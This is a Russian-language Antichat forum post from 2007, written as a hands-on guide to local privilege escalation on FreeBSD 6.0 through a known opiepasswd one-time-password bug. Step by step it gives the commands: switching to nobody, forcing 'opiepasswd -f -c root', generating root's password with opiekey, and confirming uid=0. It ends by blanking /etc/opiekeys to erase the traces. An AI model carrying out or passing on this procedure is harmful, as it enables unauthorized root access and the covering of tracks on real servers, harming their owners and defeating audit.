#1
c0nstant1ne
Отправлено
08 March 2007 - 21:02
c0nstant1ne
Бит
-
-
Members
-
8 сообщений
Constantine© ANTICHAT.RU
Что?
Поднимаем локальный рут во ФриБСД шестой версии
Зачем?
Я подумал, что это может быть кому то интересно, на форуме толковой статьи по этой теме не нашел.
Как?
Я собираюсь выложить важные куски манов, чтоб вы не запаривались их вычитывать. Моей целью не являлась расшифровка каждого значака, но даже не очень знающий человек скорее всего разберется. Если вы не знаете, что такое рут и для чего он добывается и что такое ФриБСД, то эта статья будет вам не интересна.
INTRO
Зайдя на сервис посвещенный комьютерной безопастностии поискав уязвимости FREEBSD (вы их найдете не мало) вы совершенно точно наткнетесь на багу: opie one time password system privilege escalation. Она позволяет непривилигированному пользователю повысить свои права до root
Этой уязвимости подвержены версии FreeBSD 4.10 FreeBSD 5.3 FreeBSD 5.4 FreeBSD 4.11 FreeBSD 6.0 FreeBsd 6.1 FreeBsd 5.5
Main
Рассмотрим на примере FreeBSD 6.0
1)Воспользуемся одноразовыми пролями.
Opiepassword программа для генерации одноразовых паролей. Дело в том, что если запустить програму от nobody, то она подумает, что ты root. Так можно организовать root' вход по one time password
2)
Завладеть системой не так уж сложно, чем кажется на первый взгляд: надо запустить Opiepassword от nobody и организовать root'у вход по одноразовым паролям
В любой момент времени вы можете проверить свой статус комендой id
3)
Для совершения взлома придеться почти все время читать маны.
Выполняем
[code]-man su[/code]
В ответе нас интересует следующее
[CENTER][LEFT]
-m Leave the environment unmodiifed. Yhe invoked shell is your
login shell, and no directory changes are made. as a security
precaution, if the target user's shell is a non-standard shell
(as defined by getusersshell(3)) and the caller's real uid is non-
zero, su will fail
4)
Исходя из этого выполняем [code] su -m nobody[/code]
теперь проверяем текущий статус.
В ответе вы прочитает, что то вроде
uid=77777(nobody) gid=77777(nobody) groups=77777(nobody)
это значит что теперь вы типичный непривилигированный пользователь - nobody
5)
И снова читаем маны, на этот раз выполняем [code]man opiepasswd[/code]
теперь нас интересуют 2 вещи в ответе
-c Set console mode where the user is expected to have
secure access to the system. In console mode, you will be
asked to input your password directly instead of having
to use an OPIE calculator. If you do not have secure
access to the system(i.e., you are not on the system's
console), you are volunteering your password to attackers
by using this mode
-f Force opiepassword to continue, even where it normally
shouldn't. This is currently used to force opiepasswd to
operate in "console" mode even from terminals it believes
to be insecure. It can also allow users to disclose their
secret pass phrases to attackars. Use of the -f flag may
be disabled by compile-time option in your particular
build of OPIE
6)
Помните что все еще непривилигированный пользователь. Пересмотрев ман выполняем
[code]opiepasswd -f -c root[/code]
В ответ вам выплюнут следующее, прочитайте ответ внимтельно.
Adding root:
Only this method from the console; NEVER from remote. If you are using
telnet, xterm, or a dial-in, type ^C now or exit whith no password
Then tun opiepasswd without the -c parameter.
Using MD5 to compute responses
7)
Теперь вводим серетную фразу для генерации паролей, она должна быть не меньше 14 символов(это вам не must_die)
В ответ ты получишь проль под неким номером, после номера следует ключ.
Примерно в таком виде:
ID root OIP key is 276 ti8776 (номер и ключ)
Big skil king stay note game
Собственно, для рута включился решим one time password.
Установив новое подключение и
введя в качестве login as:
root
Вам ответят что-то вроде opt-md5 275 ti8776 и предложат ввести пароль
8)
Теперь сгенерируем нужные нам ключи, для генерации пассов юзаем программу opiekey, которой в качестве аргумента передаеться номер пароля и ключ
[code]opiekey 275 ti8776[/code]
В ответ ты прочитаешь нужный вам пароль!
9)
Теперь указав пароль в новом подключении вы аутентифицируетесь в FreeBSD
вбив id и проверив свой статус вы получите
uid=0(root) gid=0(wheel) groups=0(wheel), 5(operator)
10)
Теперь нужно выполнит:
exit
11)
Далее затираем файл opiekeys(для чего думаю не надо обьяснять)
[code]cd /etc
ls -ls|grep opie[/code]
Получив ответ выполняем
[code]cat opiekeys[/code]
В ответ вы должны узреть root 0275 ti 8776 [date and time]
Далее echo>opiekeys
cat opiekeys
RESULTS Теперь все вернулось к первоначальной точке, только у вас есть небольшое преимущество. Остаеться только сварганить эксплойт :P
Ссылки и благодарности
Каких то особых ссылок я бы не дал, уязвимость достаточно известная, но к примеру
]]>http://security.nnov.ru/soft/7761.html]]>
Благодарность одна, но большая, обращенная к F0rtress Zero.
Отмазы
Это первая моя статья для античата, незнаю насколько она не боянная, но я ничего не катал. Прошу не осыпать меня проклятьями.
Добовления Бага абсолютно рабочая, но все-же патч выпущен был, поэтому уязвимость может быть закрыта, все зависит от конкретного случая
Constantine for Antichat